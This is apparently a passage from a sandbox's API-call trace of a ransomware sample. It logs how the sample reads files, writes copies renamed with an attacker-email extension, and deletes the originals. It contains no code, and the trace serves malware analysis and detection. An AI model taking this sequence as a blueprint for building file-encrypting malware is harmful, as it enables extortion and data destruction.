"c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.903] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=894) returned 1 [0111.903] CloseHandle (hObject=0x330) returned 1 [0111.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0111.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0111.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.904] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.904] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.904] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0111.904] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0111.904] ReadFile (in: hFile=0x330, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x37e, lpOverlapped=0x0) returned 1 [0111.929] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x380, lpOverlapped=0x0) returned 1 [0111.930] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0111.931] CloseHandle (hObject=0x330) returned 1 [0111.931] CloseHandle (hObject=0x324) returned 1 [0111.932] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0111.936] SetEvent (hEvent=0x2cc) returned 1 [0111.936] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0112.000] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=894) returned 1 [0112.000] CloseHandle (hObject=0x31c) returned 1 [0112.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0112.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0112.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0112.004] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0112.004] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0112.004] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0112.004] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0112.005] ReadFile (in: hFile=0x304, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x37e, lpOverlapped=0x0) returned 1 [0112.023] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x380, lpOverlapped=0x0) returned 1 [0112.025] WriteFile (in: hFile=0x310, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0112.025] CloseHandle (hObject=0x304) returned 1 [0112.025] CloseHandle (hObject=0x310) returned 1 [0112.077] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0112.080] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0112.080] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=894) returned 1 [0112.080] CloseHandle (hObject=0x310) returned 1 [0112.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0112.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0112.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0112.081] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0112.081] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0112.081] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0112.081] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0112.081] ReadFile (in: hFile=0x310, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x37e, lpOverlapped=0x0) returned 1 [0112.093] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x380, lpOverlapped=0x0) returned 1 [0112.096] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0112.096] CloseHandle (hObject=0x310) returned 1 [0112.096] CloseHandle (hObject=0x304) returned 1 [0112.101] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0112.103] SetEvent (hEvent=0x2cc) returned 1 [0112.103] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.108] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=894) returned 1 [0112.108] CloseHandle (hObject=0x320) returned 1 [0112.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0112.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0112.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0112.108] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.108] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0112.108] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0112.109] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0112.109] ReadFile (in: hFile=0x320, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x37e, lpOverlapped=0x0) returned 1 [0112.116] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x380, lpOverlapped=0x0) returned 1 [0112.117] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0112.118] CloseHandle (hObject=0x320) returned 1 [0112.118] CloseHandle (hObject=0x304) returned 1 [0112.119] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0112.121] SetEvent (hEvent=0x2cc) returned 1 [0112.121] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0112.122] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=36710) returned 1 [0112.122] CloseHandle (hObject=0x304) returned 1 [0113.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0113.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0113.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0114.571] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0114.572] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0114.572] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0114.572] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x33c [0114.584] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x8f66, lpOverlapped=0x0) returned 1 [0114.589] WriteFile (in: hFile=0x33c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x8f70, lpOverlapped=0x0) returned 1 [0114.591] WriteFile (in: hFile=0x33c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0114.591] CloseHandle (hObject=0x324) returned 1 [0114.591] CloseHandle (hObject=0x33c) returned 1 [0114.593] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0114.595] SetEvent (hEvent=0x2cc) returned 1 [0114.595] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0114.595] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=1150) returned 1 [0114.595] CloseHandle (hObject=0x33c) returned 1 [0114.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0114.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0114.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0114.596] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0114.596] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0114.596] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0114.596] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0114.596] ReadFile (in: hFile=0x33c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x47e, lpOverlapped=0x0) returned 1 [0114.598] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x480, lpOverlapped=0x0) returned 1 [0114.599] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0114.600] CloseHandle (hObject=0x33c) returned 1 [0114.600] CloseHandle (hObject=0x324) returned 1 [0114.904] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0114.905] SetEvent (hEvent=0x2cc) returned 1 [0114.906] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0114.907] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=181483595) returned 1 [0114.907] CloseHandle (hObject=0x324) returned 1 [0114.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0114.907] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 1 [0114.908] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0114.908] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f5e8 | out: lpNewFilePointer=0x0) returned 1 [0114.908] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f5e8 | out: lpNewFilePointer=0x0) returned 1 [0114.908] ReadFile (in: hFile=0x324, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311f5f4, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x311f5f4*=0x40000, lpOverlapped=0x0) returned 1 [0114.917] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x311f5e8 | out: lpNewFilePointer=0x0) returned 1 [0114.917] ReadFile (in: hFile=0x324, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311f5f4, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x311f5f4*=0x40000, lpOverlapped=0x0) returned 1 [0114.924] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x311f5e8 | out: lpNewFilePointer=0x0) returned 1 [0114.924] ReadFile (in: hFile=0x324, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311f5f4, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x311f5f4*=0x40000, lpOverlapped=0x0) returned 1 [0114.939] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f758 | out: lpNewFilePointer=0x0) returned 1 [0114.939] WriteFile (hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0) Thread: id = 24 os_tid = 0x1018 [0088.166] GetProcessHeap () returned 0xc00000 [0088.476] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3750060 [0088.482] GetProcessHeap () returned 0xc00000 [0088.482] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3760068 [0088.505] GetProcessHeap () returned 0xc00000 [0088.505] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc2b9b0 [0088.506] GetProcessHeap () returned 0xc00000 [0088.506] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x110102) returned 0x394c020 [0088.509] GetProcessHeap () returned 0xc00000 [0088.509] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25510 [0088.509] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.510] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.510] Wow64DisableWow64FsRedirection (in: OldValue=0x325f7d4 | out: OldValue=0x325f7d4*=0x0) returned 1 [0088.510] GetProcessHeap () returned 0xc00000 [0088.510] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25510 | out: hHeap=0xc00000) returned 1 [0088.510] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0088.514] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=144072) returned 1 [0088.514] CloseHandle (hObject=0x308) returned 1 [0088.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0088.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0088.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0088.515] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0088.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0088.515] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0088.515] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0088.515] ReadFile (in: hFile=0x308, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x232c8, lpOverlapped=0x0) returned 1 [0089.032] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, 